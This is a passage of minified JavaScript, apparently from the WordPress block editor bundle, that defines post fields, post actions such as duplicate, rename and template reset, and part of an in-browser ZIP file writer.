$fe({data:e,onChange:t,field:r}){let[o,n]=(0,ZM.useState)(!!r.getValue({item:e})),i=a=&gt;{n(a),a||t({password:&quot;&quot;})};return(0,pp.jsxs)(hp.__experimentalVStack,{as:&quot;fieldset&quot;,spacing:4,className:&quot;fields-controls__password&quot;,children:[(0,pp.jsx)(hp.CheckboxControl,{label:(0,ky.__)(&quot;Password protected&quot;),help:(0,ky.__)(&quot;Only visible to those who know the password&quot;),checked:o,onChange:i}),o&amp;&amp;(0,pp.jsx)(&quot;div&quot;,{className:&quot;fields-controls__password-input&quot;,children:(0,pp.jsx)(hp.TextControl,{label:(0,ky.__)(&quot;Password&quot;),onChange:a=&gt;t({password:a}),value:r.getValue({item:e})||&quot;&quot;,placeholder:(0,ky.__)(&quot;Use a secure password&quot;),type:&quot;text&quot;,__next40pxDefaultSize:!0,maxLength:255})})]})}var KM=$fe;var eme={id:&quot;password&quot;,type:&quot;text&quot;,label:(0,XM.__)(&quot;Password&quot;),Edit:KM,enableSorting:!1,enableHiding:!1,isVisible:e=&gt;e.status!==&quot;private&quot;,filterBy:!1},_5=eme;var JM=s(E(),1);var j_=s(A(),1);var $i=s(E(),1),tme=[{value:&quot;draft&quot;,label:(0,$i.__)(&quot;Draft&quot;),icon:Wm,description:(0,$i.__)(&quot;Not ready to publish.&quot;)},{value:&quot;future&quot;,label:(0,$i.__)(&quot;Scheduled&quot;),icon:jv,description:(0,$i.__)(&quot;Publish automatically on a chosen date.&quot;)},{value:&quot;pending&quot;,label:(0,$i.__)(&quot;Pending Review&quot;),icon:Lv,description:(0,$i.__)(&quot;Waiting for review before publishing.&quot;)},{value:&quot;private&quot;,label:(0,$i.__)(&quot;Private&quot;),icon:Fv,description:(0,$i.__)(&quot;Only visible to site admins and editors.&quot;)},{value:&quot;publish&quot;,label:(0,$i.__)(&quot;Published&quot;),icon:Hd,description:(0,$i.__)(&quot;Visible to everyone.&quot;)},{value:&quot;trash&quot;,label:(0,$i.__)(&quot;Trash&quot;),icon:El}],V_=tme;var gp=s(C(),1);function rme({item:e}){let t=V_.find(({value:n})=&gt;n===e.status),r=t?.label||e.status,o=t?.icon;return(0,gp.jsxs)(j_.__experimentalHStack,{alignment:&quot;left&quot;,spacing:0,children:[o&amp;&amp;(0,gp.jsx)(&quot;div&quot;,{className:&quot;edit-site-post-list__status-icon&quot;,children:(0,gp.jsx)(j_.Icon,{icon:o})}),(0,gp.jsx)(&quot;span&quot;,{children:r})]})}var QM=rme;var ome=&quot;isAny&quot;,nme={label:(0,JM.__)(&quot;Status&quot;),id:&quot;status&quot;,type:&quot;text&quot;,elements:V_,render:QM,Edit:&quot;radio&quot;,enableSorting:!1,filterBy:{operators:[ome]}},w5=nme;var vp=s(E(),1),ime={id:&quot;comment_status&quot;,label:(0,vp.__)(&quot;Comments&quot;),type:&quot;text&quot;,Edit:&quot;radio&quot;,enableSorting:!1,enableHiding:!1,filterBy:!1,elements:[{value:&quot;open&quot;,label:(0,vp.__)(&quot;Open&quot;),description:(0,vp.__)(&quot;Visitors can add new comments and replies.&quot;)},{value:&quot;closed&quot;,label:(0,vp.__)(&quot;Closed&quot;),description:(0,vp.__)(&quot;Visitors cannot add new comments or replies. Existing comments remain visible.&quot;)}]},x5=ime;var Nl=s(E(),1),z_=s(A(),1),C5=s(C(),1);function sme({data:e,onChange:t}){let r=e?.ping_status??&quot;open&quot;,o=n=&gt;{t({...e,ping_status:n?&quot;open&quot;:&quot;closed&quot;})};return(0,C5.jsx)(z_.CheckboxControl,{label:(0,Nl.__)(&quot;Enable pingbacks &amp; trackbacks&quot;),checked:r===&quot;open&quot;,onChange:o,help:(0,C5.jsx)(z_.ExternalLink,{href:(0,Nl.__)(&quot;https://wordpress.org/documentation/article/trackbacks-and-pingbacks/&quot;),children:(0,Nl.__)(&quot;Learn more about pingbacks &amp; trackbacks&quot;)})})}var ame={id:&quot;ping_status&quot;,label:(0,Nl.__)(&quot;Trackbacks &amp; Pingbacks&quot;),type:&quot;text&quot;,Edit:sme,enableSorting:!1,enableHiding:!1,filterBy:!1,elements:[{value:&quot;open&quot;,label:(0,Nl.__)(&quot;Allow&quot;),description:(0,Nl.__)(&quot;Allow link notifications from other blogs (pingbacks and trackbacks) on new articles.&quot;)},{value:&quot;closed&quot;,label:(0,Nl.__)(&quot;Don&#039;t allow&quot;),description:(0,Nl.__)(&quot;Don&#039;t allow link notifications from other blogs (pingbacks and trackbacks) on new articles.&quot;)}]},T5=ame;var yp=s(E(),1),lme={id:&quot;discussion&quot;,label:(0,yp.__)(&quot;Discussion&quot;),type:&quot;text&quot;,render:({item:e})=&gt;{let t=e.comment_status===&quot;open&quot;,r=e.ping_status===&quot;open&quot;;return t&amp;&amp;r?(0,yp.__)(&quot;Open&quot;):t&amp;&amp;!r?(0,yp.__)(&quot;Comments only&quot;):!t&amp;&amp;r?(0,yp.__)(&quot;Pings only&quot;):(0,yp.__)(&quot;Closed&quot;)},filterBy:!1},P5=lme;var eL=s(E(),1);var ka=s(E(),1),Ry=s(D(),1),fu=s(po(),1),Pa=s(C(),1),Ey=e=&gt;(0,fu.dateI18n)((0,fu.getSettings)().formats.datetimeAbbreviated,(0,fu.getDate)(e)),cme=({item:e})=&gt;{if([&quot;draft&quot;,&quot;private&quot;].includes(e.status??&quot;&quot;))return(0,Ry.createInterpolateElement)((0,ka.sprintf)((0,ka.__)(&quot;&lt;span&gt;Modified: &lt;time&gt;%s&lt;/time&gt;&lt;/span&gt;&quot;),Ey(e.date??null)),{span:(0,Pa.jsx)(&quot;span&quot;,{}),time:(0,Pa.jsx)(&quot;time&quot;,{})});if(e.status===&quot;future&quot;)return(0,Ry.createInterpolateElement)((0,ka.sprintf)((0,ka.__)(&quot;&lt;span&gt;Scheduled: &lt;time&gt;%s&lt;/time&gt;&lt;/span&gt;&quot;),Ey(e.date??null)),{span:(0,Pa.jsx)(&quot;span&quot;,{}),time:(0,Pa.jsx)(&quot;time&quot;,{})});if(e.status===&quot;publish&quot;)return(0,Ry.createInterpolateElement)((0,ka.sprintf)((0,ka.__)(&quot;&lt;span&gt;Published: &lt;time&gt;%s&lt;/time&gt;&lt;/span&gt;&quot;),Ey(e.date??null)),{span:(0,Pa.jsx)(&quot;span&quot;,{}),time:(0,Pa.jsx)(&quot;time&quot;,{})});let n=(0,fu.getDate)(e.modified??null)&gt;(0,fu.getDate)(e.date??null)?e.modified:e.date;return e.status===&quot;pending&quot;?(0,Ry.createInterpolateElement)((0,ka.sprintf)((0,ka.__)(&quot;&lt;span&gt;Modified: &lt;time&gt;%s&lt;/time&gt;&lt;/span&gt;&quot;),Ey(n??null)),{span:(0,Pa.jsx)(&quot;span&quot;,{}),time:(0,Pa.jsx)(&quot;time&quot;,{})}):(0,Pa.jsx)(&quot;time&quot;,{children:Ey(e.date??null)})},$M=cme;var ume={id:&quot;date&quot;,type:&quot;datetime&quot;,label:(0,eL.__)(&quot;Date&quot;),render:$M,filterBy:{operators:[&quot;before&quot;,&quot;after&quot;]}},k5=ume;var sL=s(E(),1),aL=s(O(),1),lL=s(W(),1);var tL=s(E(),1),rL=s(D(),1);var U_=s(A(),1),oL=s(O(),1),nL=s(W(),1),mu=s(C(),1);function dme({item:e}){let t=e?.author,r=e?._embedded?.author?.[0]?.id,o=!!(t&amp;&amp;r&amp;&amp;t!==r),n=(0,oL.useSelect)(u=&gt;{if(!o)return null;let{getEntityRecord:d}=u(nL.store);return t?d(&quot;root&quot;,&quot;user&quot;,t):null},[t,o]),i=n?.name||e?._embedded?.author?.[0]?.name,a=n?.avatar_urls?.[48]||e?._embedded?.author?.[0]?.avatar_urls?.[48],[l,c]=(0,rL.useState)(!1);return(0,mu.jsxs)(U_.__experimentalHStack,{alignment:&quot;left&quot;,spacing:0,children:[!!a&amp;&amp;(0,mu.jsx)(&quot;div&quot;,{className:re(&quot;page-templates-author-field__avatar&quot;,{&quot;is-loaded&quot;:l}),children:(0,mu.jsx)(&quot;img&quot;,{onLoad:()=&gt;c(!0),alt:(0,tL.__)(&quot;Author avatar&quot;),src:a})}),!a&amp;&amp;(0,mu.jsx)(&quot;div&quot;,{className:&quot;page-templates-author-field__icon&quot;,children:(0,mu.jsx)(U_.Icon,{icon:Pv})}),(0,mu.jsx)(&quot;span&quot;,{className:&quot;page-templates-author-field__name&quot;,children:i})]})}var iL=dme;var fme={label:(0,sL.__)(&quot;Author&quot;),id:&quot;author&quot;,type:&quot;integer&quot;,getElements:async()=&gt;(await(0,aL.resolveSelect)(lL.store).getEntityRecords(&quot;root&quot;,&quot;user&quot;,{per_page:-1,who:&quot;authors&quot;,_fields:&quot;id,name&quot;,context:&quot;view&quot;})??[]).map(({id:t,name:r})=&gt;({value:t,label:r})),setValue:({value:e})=&gt;({author:Number(e)}),render:iL,sort:(e,t,r)=&gt;{let o=e._embedded?.author?.[0]?.name||&quot;&quot;,n=t._embedded?.author?.[0]?.name||&quot;&quot;;return r===&quot;asc&quot;?o.localeCompare(n):n.localeCompare(o)},filterBy:{operators:[&quot;isAny&quot;,&quot;isNone&quot;]}},E5=fme;var cL=s(E(),1),mme={id:&quot;notesCount&quot;,label:(0,cL.__)(&quot;Notes&quot;),type:&quot;integer&quot;,enableSorting:!1,filterBy:!1},R5=mme;var uL=s(E(),1),pme={id:&quot;view-post&quot;,label:(0,uL._x)(&quot;View&quot;,&quot;verb&quot;),isPrimary:!0,icon:Xn,isEligible(e){return e.status!==&quot;trash&quot;},callback(e,{onActionPerformed:t}){let r=e[0];window.open(r?.link,&quot;_blank&quot;),t&amp;&amp;t(e)}},A5=pme;var O5=s(O(),1),dL=s(W(),1),pu=s(E(),1),fL=s(ct(),1),mL=s(D(),1),Dl=s(A(),1),Fl=s(C(),1);function hme(e){return typeof e.menu_order==&quot;number&quot;&amp;&amp;Number.isInteger(e.menu_order)}function gme({items:e,closeModal:t,onActionPerformed:r}){let[o,n]=(0,mL.useState)(e[0]),{editEntityRecord:i,saveEditedEntityRecord:a}=(0,O5.useDispatch)(dL.store),{createSuccessNotice:l,createErrorNotice:c}=(0,O5.useDispatch)(fL.store),u=hme(o);async function d(f){if(f.preventDefault(),!!u)try{await i(&quot;postType&quot;,o.type,o.id,{menu_order:o.menu_order}),t?.(),await a(&quot;postType&quot;,o.type,o.id,{throwOnError:!0}),l((0,pu.__)(&quot;Order updated.&quot;),{type:&quot;snackbar&quot;}),r?.(e)}catch(m){let h=m,g=h.message&amp;&amp;h.code!==&quot;unknown_error&quot;?h.message:(0,pu.__)(&quot;An error occurred while updating the order&quot;);c(g,{type:&quot;snackbar&quot;})}}return(0,Fl.jsx)(&quot;form&quot;,{onSubmit:d,children:(0,Fl.jsxs)(Dl.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,Fl.jsx)(&quot;div&quot;,{children:(0,pu.__)(&quot;Determines the order of pages. Pages with the same order value are sorted alphabetically. Negative order values are supported.&quot;)}),(0,Fl.jsx)(Dl.__experimentalInputControl,{__next40pxDefaultSize:!0,label:(0,pu.__)(&quot;Order&quot;),type:&quot;number&quot;,value:typeof o.menu_order==&quot;number&quot;&amp;&amp;Number.isInteger(o.menu_order)?String(o.menu_order):&quot;&quot;,onChange:f=&gt;{let m=parseInt(f,10);n({...o,menu_order:isNaN(m)?void 0:m})}}),(0,Fl.jsxs)(Dl.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,Fl.jsx)(Dl.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{t?.()},children:(0,pu.__)(&quot;Cancel&quot;)}),(0,Fl.jsx)(Dl.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,accessibleWhenDisabled:!0,disabled:!u,children:(0,pu.__)(&quot;Save&quot;)})]})]})})}var vme={id:&quot;order-pages&quot;,label:(0,pu.__)(&quot;Order&quot;),isEligible({status:e}){return e!==&quot;trash&quot;},modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:gme},I5=vme;var N5=s(O(),1),pL=s(W(),1),Xo=s(E(),1),hL=s(ct(),1),F5=s(D(),1),Ml=s(A(),1);var Bl=s(C(),1),yme={id:&quot;duplicate-post&quot;,label:(0,Xo._x)(&quot;Duplicate&quot;,&quot;action label&quot;),isEligible({status:e}){return e!==&quot;trash&quot;},modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:({items:e,closeModal:t,onActionPerformed:r})=&gt;{let[o,n]=(0,F5.useState)({...e[0],title:(0,Xo.sprintf)((0,Xo._x)(&quot;%s (Copy)&quot;,&quot;post&quot;),He(e[0]))}),[i,a]=(0,F5.useState)(!1),{saveEntityRecord:l}=(0,N5.useDispatch)(pL.store),{createSuccessNotice:c,createErrorNotice:u}=(0,N5.useDispatch)(hL.store);async function d(f){if(f.preventDefault(),i)return;let m=o.type===&quot;wp_template&quot;,h={status:m?&quot;publish&quot;:&quot;draft&quot;,title:o.title,slug:m?o.slug:o.title||(0,Xo.__)(&quot;No title&quot;),comment_status:o.comment_status,content:typeof o.content==&quot;string&quot;?o.content:o.content.raw,excerpt:typeof o.excerpt==&quot;string&quot;?o.excerpt:o.excerpt?.raw,meta:o.meta,parent:o.parent,password:o.password,template:o.template,format:o.format,featured_media:o.featured_media,menu_order:o.menu_order,ping_status:o.ping_status},g=&quot;wp:action-assign-&quot;;Object.keys(o?._links||{}).filter(y=&gt;y.startsWith(g)).map(y=&gt;y.slice(g.length)).forEach(y=&gt;{o.hasOwnProperty(y)&amp;&amp;(h[y]=o[y])}),a(!0);try{let y=await l(&quot;postType&quot;,o.type,h,{throwOnError:!0});c((0,Xo.sprintf)((0,Xo.__)(&#039;&quot;%s&quot; successfully created.&#039;),He(y)),{id:&quot;duplicate-post-action&quot;,type:&quot;snackbar&quot;}),r&amp;&amp;r([y])}catch(y){let b=y,_=b.message&amp;&amp;b.code!==&quot;unknown_error&quot;?b.message:(0,Xo.__)(&quot;An error occurred while duplicating the page.&quot;);u(_,{type:&quot;snackbar&quot;})}finally{a(!1),t?.()}}return(0,Bl.jsx)(&quot;form&quot;,{onSubmit:d,children:(0,Bl.jsxs)(Ml.__experimentalVStack,{spacing:3,children:[typeof o.id==&quot;string&quot;&amp;&amp;(0,Bl.jsx)(&quot;div&quot;,{children:(0,Xo.__)(&quot;You are about to duplicate a bundled template. Changes will not be live until you activate the new template.&quot;)}),(0,Bl.jsx)(Ml.__experimentalInputControl,{__next40pxDefaultSize:!0,label:(0,Xo.__)(&quot;Title&quot;),placeholder:(0,Xo.__)(&quot;No title&quot;),value:He(o),onChange:f=&gt;n(m=&gt;({...m,title:f||(0,Xo.__)(&quot;No title&quot;)}))}),(0,Bl.jsxs)(Ml.__experimentalHStack,{spacing:2,justify:&quot;end&quot;,children:[(0,Bl.jsx)(Ml.Button,{variant:&quot;tertiary&quot;,onClick:t,__next40pxDefaultSize:!0,children:(0,Xo.__)(&quot;Cancel&quot;)}),(0,Bl.jsx)(Ml.Button,{variant:&quot;primary&quot;,type:&quot;submit&quot;,isBusy:i,&quot;aria-disabled&quot;:i,__next40pxDefaultSize:!0,children:(0,Xo._x)(&quot;Duplicate&quot;,&quot;action label&quot;)})]})]})})}},D5=yme;var B5=s(O(),1),gL=s(W(),1),of=s(E(),1),vL=s(D(),1),yL=s(Ls(),1),Ll=s(A(),1),bL=s(ct(),1);var hu=s(C(),1),{PATTERN_TYPES:bme}=Do(yL.privateApis),Sme={id:&quot;rename-post&quot;,label:(0,of.__)(&quot;Rename&quot;),modalFocusOnMount:&quot;firstContentElement&quot;,isEligible(e){if(e.status===&quot;trash&quot;||e.type===&quot;wp_template&quot;&amp;&amp;typeof e.id==&quot;string&quot;&amp;&amp;window?.__experimentalTemplateActivate)return!1;let t=[&quot;wp_template&quot;,&quot;wp_template_part&quot;];return window?.__experimentalTemplateActivate||t.push(&quot;wp_template&quot;),t.includes(e.type)?UD(e)&amp;&amp;!window?.__experimentalTemplateActivate?n_(e)&amp;&amp;e.is_custom&amp;&amp;e.permissions?.update:HD(e)?e.source===&quot;custom&quot;&amp;&amp;!e?.has_theme_file&amp;&amp;e.permissions?.update:e.type===bme.user&amp;&amp;e.permissions?.update:e.permissions?.update},RenderModal:({items:e,closeModal:t,onActionPerformed:r})=&gt;{let[o]=e,[n,i]=(0,vL.useState)(()=&gt;He(o,&quot;&quot;)),{editEntityRecord:a,saveEditedEntityRecord:l}=(0,B5.useDispatch)(gL.store),{createSuccessNotice:c,createErrorNotice:u}=(0,B5.useDispatch)(bL.store);async function d(f){f.preventDefault();try{await a(&quot;postType&quot;,o.type,o.id,{title:n}),i(&quot;&quot;),t?.(),await l(&quot;postType&quot;,o.type,o.id,{throwOnError:!0}),c((0,of.__)(&quot;Name updated&quot;),{type:&quot;snackbar&quot;}),r?.(e)}catch(m){let h=m,g=h.message&amp;&amp;h.code!==&quot;unknown_error&quot;?h.message:(0,of.__)(&quot;An error occurred while updating the name&quot;);u(g,{type:&quot;snackbar&quot;})}}return(0,hu.jsx)(&quot;form&quot;,{onSubmit:d,children:(0,hu.jsxs)(Ll.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,hu.jsx)(Ll.TextControl,{__next40pxDefaultSize:!0,label:(0,of.__)(&quot;Name&quot;),value:n,onChange:i,required:!0}),(0,hu.jsxs)(Ll.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,hu.jsx)(Ll.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{t?.()},children:(0,of.__)(&quot;Cancel&quot;)}),(0,hu.jsx)(Ll.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,children:(0,of.__)(&quot;Save&quot;)})]})]})})}},M5=Sme;var Qo=s(O(),1),nf=s(W(),1),Gr=s(E(),1),gu=s(ct(),1),SL=s(D(),1),H_=s(Xe(),1),Vl=s(A(),1),_L=s(Ir(),1),wL=s(Qm(),1);var sf=s(C(),1),_me=e=&gt;e?e.source===&quot;custom&quot;&amp;&amp;(!!e?.plugin||e?.has_theme_file):!1,wme=async(e,{allowUndo:t=!0}={})=&gt;{let r=&quot;edit-site-template-reverted&quot;;if((0,Qo.dispatch)(gu.store).removeNotice(r),!_me(e)){(0,Qo.dispatch)(gu.store).createErrorNotice((0,Gr.__)(&quot;This template is not revertable.&quot;),{type:&quot;snackbar&quot;});return}try{let o=(0,Qo.select)(nf.store).getEntityConfig(&quot;postType&quot;,e.type);if(!o){(0,Qo.dispatch)(gu.store).createErrorNotice((0,Gr.__)(&quot;The editor has encountered an unexpected error. Please reload.&quot;),{type:&quot;snackbar&quot;});return}let n=(0,_L.addQueryArgs)(`${o.baseURL}/${e.id}`,{context:&quot;edit&quot;,source:e.origin}),i=await(0,wL.default)({path:n});if(!i){(0,Qo.dispatch)(gu.store).createErrorNotice((0,Gr.__)(&quot;The editor has encountered an unexpected error. Please reload.&quot;),{type:&quot;snackbar&quot;});return}let a=({blocks:u=[]})=&gt;(0,H_.__unstableSerializeAndClean)(u),l=(0,Qo.select)(nf.store).getEditedEntityRecord(&quot;postType&quot;,e.type,e.id);(0,Qo.dispatch)(nf.store).editEntityRecord(&quot;postType&quot;,e.type,e.id,{content:a,blocks:l.blocks,source:&quot;custom&quot;},{undoIgnore:!0});let c=(0,H_.parse)(i?.content?.raw);if((0,Qo.dispatch)(nf.store).editEntityRecord(&quot;postType&quot;,e.type,i.id,{content:a,blocks:c,source:&quot;theme&quot;}),t){let u=()=&gt;{(0,Qo.dispatch)(nf.store).editEntityRecord(&quot;postType&quot;,e.type,l.id,{content:a,blocks:l.blocks,source:&quot;custom&quot;})};(0,Qo.dispatch)(gu.store).createSuccessNotice((0,Gr.__)(&quot;Template reset.&quot;),{type:&quot;snackbar&quot;,id:r,actions:[{label:(0,Gr.__)(&quot;Undo&quot;),onClick:u}]})}}catch(o){let n=o.message&amp;&amp;o.code!==&quot;unknown_error&quot;?o.message:(0,Gr.__)(&quot;Template revert failed. Please reload.&quot;);(0,Qo.dispatch)(gu.store).createErrorNotice(n,{type:&quot;snackbar&quot;})}},xme={id:&quot;reset-post&quot;,label:(0,Gr.__)(&quot;Reset&quot;),isEligible:e=&gt;window?.__experimentalTemplateActivate?e.type===&quot;wp_template_part&quot;&amp;&amp;e?.source===&quot;custom&quot;&amp;&amp;e?.has_theme_file:Rl(e)&amp;&amp;e?.source===&quot;custom&quot;&amp;&amp;(!!(e.type===&quot;wp_template&quot;&amp;&amp;e?.plugin)||e?.has_theme_file),icon:xl,supportsBulk:!0,hideModalHeader:!0,modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:({items:e,closeModal:t,onActionPerformed:r})=&gt;{let[o,n]=(0,SL.useState)(!1),{saveEditedEntityRecord:i}=(0,Qo.useDispatch)(nf.store),{createSuccessNotice:a,createErrorNotice:l}=(0,Qo.useDispatch)(gu.store),c=async()=&gt;{try{for(let u of e)await wme(u,{allowUndo:!1}),await i(&quot;postType&quot;,u.type,u.id);a(e.length&gt;1?(0,Gr.sprintf)((0,Gr.__)(&quot;%d items reset.&quot;),e.length):(0,Gr.sprintf)((0,Gr.__)(&#039;&quot;%s&quot; reset.&#039;),He(e[0])),{type:&quot;snackbar&quot;,id:&quot;revert-template-action&quot;})}catch(u){let d;e[0].type===&quot;wp_template&quot;?d=e.length===1?(0,Gr.__)(&quot;An error occurred while reverting the template.&quot;):(0,Gr.__)(&quot;An error occurred while reverting the templates.&quot;):d=e.length===1?(0,Gr.__)(&quot;An error occurred while reverting the template part.&quot;):(0,Gr.__)(&quot;An error occurred while reverting the template parts.&quot;);let f=u,m=f.message&amp;&amp;f.code!==&quot;unknown_error&quot;?f.message:d;l(m,{type:&quot;snackbar&quot;})}};return(0,sf.jsxs)(Vl.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,sf.jsx)(Vl.__experimentalText,{children:(0,Gr.__)(&quot;Reset to default and clear all customizations?&quot;)}),(0,sf.jsxs)(Vl.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,sf.jsx)(Vl.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:t,disabled:o,accessibleWhenDisabled:!0,children:(0,Gr.__)(&quot;Cancel&quot;)}),(0,sf.jsx)(Vl.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:async()=&gt;{n(!0),await c(),r?.(e),n(!1),t?.()},isBusy:o,disabled:o,accessibleWhenDisabled:!0,children:(0,Gr.__)(&quot;Reset&quot;)})]})]})}},L5=xme;var G_=s(E(),1),xL=s(Ls(),1);var CL=s(C(),1),{CreatePatternModalContents:Cme,useDuplicatePatternProps:Tme}=Do(xL.privateApis),Pme={id:&quot;duplicate-pattern&quot;,label:(0,G_._x)(&quot;Duplicate&quot;,&quot;action label&quot;),isEligible:e=&gt;e.type!==&quot;wp_template_part&quot;,modalHeader:(0,G_._x)(&quot;Duplicate pattern&quot;,&quot;action label&quot;),modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:({items:e,closeModal:t})=&gt;{let[r]=e,o=Tme({pattern:r,onSuccess:()=&gt;t?.()});return(0,CL.jsx)(Cme,{onClose:t,confirmLabel:(0,G_._x)(&quot;Duplicate&quot;,&quot;action label&quot;),...o})}},V5=Pme;var bp=function(){return bp=Object.assign||function(t){for(var r,o=1,n=arguments.length;o&lt;n;o++){r=arguments[o];for(var i in r)Object.prototype.hasOwnProperty.call(r,i)&amp;&amp;(t[i]=r[i])}return t},bp.apply(this,arguments)};function TL(e){return e.toLowerCase()}var kme=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],Eme=/[^A-Z0-9]+/gi;function kL(e,t){t===void 0&amp;&amp;(t={});for(var r=t.splitRegexp,o=r===void 0?kme:r,n=t.stripRegexp,i=n===void 0?Eme:n,a=t.transform,l=a===void 0?TL:a,c=t.delimiter,u=c===void 0?&quot; &quot;:c,d=PL(PL(e,o,&quot;$1\0$2&quot;),i,&quot;\0&quot;),f=0,m=d.length;d.charAt(f)===&quot;\0&quot;;)f++;for(;d.charAt(m-1)===&quot;\0&quot;;)m--;return d.slice(f,m).split(&quot;\0&quot;).map(l).join(u)}function PL(e,t,r){return t instanceof RegExp?e.replace(t,r):t.reduce(function(o,n){return o.replace(n,r)},e)}function EL(e,t){return t===void 0&amp;&amp;(t={}),kL(e,bp({delimiter:&quot;.&quot;},t))}function af(e,t){return t===void 0&amp;&amp;(t={}),EL(e,bp({delimiter:&quot;-&quot;},t))}&quot;stream&quot;in Blob.prototype||Object.defineProperty(Blob.prototype,&quot;stream&quot;,{value(){return new Response(this).body}}),&quot;setBigUint64&quot;in DataView.prototype||Object.defineProperty(DataView.prototype,&quot;setBigUint64&quot;,{value(e,t,r){let o=Number(0xffffffffn&amp;t),n=Number(t&gt;&gt;32n);this.setUint32(e+(r?0:4),o,r),this.setUint32(e+(r?4:0),n,r)}});var _p=e=&gt;new DataView(new ArrayBuffer(e)),jl=e=&gt;new Uint8Array(e.buffer||e),Sp=e=&gt;new TextEncoder().encode(String(e)),lf=e=&gt;Math.min(4294967295,Number(e)),RL=e=&gt;Math.min(65535,Number(e));function Rme(e,t){if(t===void 0||t instanceof Date||(t=new Date(t)),e instanceof File)return{isFile:1,t:t||new Date(e.lastModified),i:e.stream()};if(e instanceof Response)return{isFile:1,t:t||new Date(e.headers.get(&quot;Last-Modified&quot;)||Date.now()),i:e.body};if(t===void 0)t=new Date;else if(isNaN(t))throw new Error(&quot;Invalid modification date.&quot;);if(e===void 0)return{isFile:0,t};if(typeof e==&quot;string&quot;)return{isFile:1,t,i:Sp(e)};if(e instanceof Blob)return{isFile:1,t,i:e.stream()};if(e instanceof Uint8Array||e instanceof ReadableStream)return{isFile:1,t,i:e};if(e instanceof ArrayBuffer||ArrayBuffer.isView(e))return{isFile:1,t,i:jl(e)};if(Symbol.asyncIterator in e)return{isFile:1,t,i:OL(e[Symbol.asyncIterator]())};throw new TypeError(&quot;Unsupported input format.&quot;)}function OL(e,t=e){return new ReadableStream({async pull(r){let o=0;for(;r.desiredSize&gt;o;){let n=await e.next();if(!n.value){r.close();break}{let i=Ame(n.value);r.enqueue(i),o+=i.byteLength}}},cancel(r){t.throw?.(r)}})}function Ame(e){return typeof e==&quot;string&quot;?Sp(e):e instanceof Uint8Array?e:jl(e)}function IL(e,t,r){let[o,n]=(function(i){return i?i instanceof Uint8Array?[i,1]:ArrayBuffer.isView(i)||i instanceof ArrayBuffer?[jl(i),1]:[Sp(i),0]:[void 0,0]})(t);if(e instanceof File)return{o:j5(o||Sp(e.name)),u:BigInt(e.size),l:n};if(e instanceof Response){let i=e.headers.get(&quot;content-disposition&quot;),a=i&amp;&amp;i.match(/;\s*filename\*?=[&quot;&#039;]?(.*?)[&quot;&#039;]?$/i),l=a&amp;&amp;a[1]||e.url&amp;&amp;new URL(e.url).pathname.split(&quot;/&quot;).findLast(Boolean),c=l&amp;&amp;decodeURIComponent(l),u=r||+e.headers.get(&quot;content-length&quot;);return{o:j5(o||Sp(c)),u:BigInt(u),l:n}}return o=j5(o,e!==void 0||r!==void 0),typeof e==&quot;string&quot;?{o,u:BigInt(Sp(e).length),l:n}:e instanceof Blob?{o,u:BigInt(e.size),l:n}:e instanceof ArrayBuffer||ArrayBuffer.isView(e)?{o,u:BigInt(e.byteLength),l:n}:{o,u:Ome(e,r),l:n}}function Ome(e,t){return t&gt;-1?BigInt(t):e?void 0:0n}function j5(e,t=1){if(!e||e.every((r=&gt;r===47)))throw new Error(&quot;The file must have a name.&quot;);if(t)for(;e[e.length-1]===47;)e=e.subarray(0,-1);else e[e.length-1]!==47&amp;&amp;(e=new Uint8Array([...e,47]));return e}var NL=new Uint32Array(256);for(let e=0;e&lt;256;++e){let t=e;for(let r=0;r&lt;8;++r)t=t&gt;&gt;&gt;1^(1&amp;t&amp;&amp;3988292384);NL[e]=t}function AL(e,t=0){t^=-1;for(var r=0,o=e.length;r&lt;o;r++)t=t&gt;&gt;&gt;8^NL[255&amp;t^e[r]];return(-1^t)&gt;&gt;&gt;0}function FL(e,t,r=0){let o=e.getSeconds()&gt;&gt;1|e.getMinutes()&lt;&lt;5|e.getHours()&lt;&lt;11,n=e.getDate()|e.getMonth()+1&lt;&lt;5|e.getFullYear()-1980&lt;&lt;9;t.setUint16(r,o,1),t.setUint16(r+2,n,1)}function Ime({o:e,l:t},r){return 8*(!t||(r??(function(o){try{Nme.decode(o)}catch{return 0}return 1})(e)))}var Nme=new TextDecoder(&quot;utf8&quot;,{fatal:1});function Fme(e,t=0){let r=_p(30);return r.setUint32(0,1347093252),r.setUint32(4,754976768|t),FL(e.t,r,10),r.setUint16(26,e.o.length,1),jl(r)}async function*Dme(e){let{i:t}=e;if(&quot;then&quot;in t&amp;&amp;(t=await t),t instanceof Uint8Array)yield t,e.m=AL(t,0),e.u=BigInt(t.length);else{e.u=0n;let r=t.getReader();for(;;){let{value:o,done:n}=await r.read();if(n)break;e.m=AL(o,e.m),e.u+=BigInt(o.length),yield o}}}function Bme(e,t){let r=_p(16+(t?8:0));return r.setUint32(0,1347094280),r.setUint32(4,e.isFile?e.m:0,1),t?(r.setBigUint64(8,e.u,1),r.setBigUint64(16,e.u,1)):(r.setUint32(8,lf(e.u),1),r.setUint32(12,lf(e.u),1)),jl(r)}function Mme(e,t,r=0,o=0){let n=_p(46);return n.setUint32(0,1347092738),n.setUint32(4,755182848),n.setUint16(8,2048|r),FL(e.t,n,12),n.setUint32(16,e.isFile?e.m:0,1),n.setUint32(20,lf(e.u),1),n.setUint32(24,lf(e.u),1),n.setUint16(28,e.o.length,1),n.setUint16(30,o,1),n.setUint16(40,e.isFile?33204:16893,1),n.setUint32(42,lf(t),1),jl(n)}function Lme(e,t,r){let o=_p(r);return 